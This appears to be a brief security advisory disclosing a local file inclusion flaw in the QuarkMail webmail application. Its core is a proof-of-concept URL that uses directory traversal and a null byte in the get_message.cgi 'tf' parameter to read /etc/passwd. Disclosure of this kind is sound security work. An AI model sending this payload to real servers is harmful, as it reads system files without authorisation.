########################## Securitylab.ir ######################## # Application Info: # Name: QuarkMail # Website: http://www.ipmotor.com ################################################################# # Discoverd By: Securitylab.ir # Website: http://securitylab.ir # Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir ################################################################# # Vulnerability Info: # Type: Local File Inclusion # Risk: Medium #=========================================================== # http://site.com/[Path]/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../ etc/passwd%00&id=2&sort=0&read_flag=yes #=========================================================== ################################################################# # Securitylab Security Research Team ###################################################################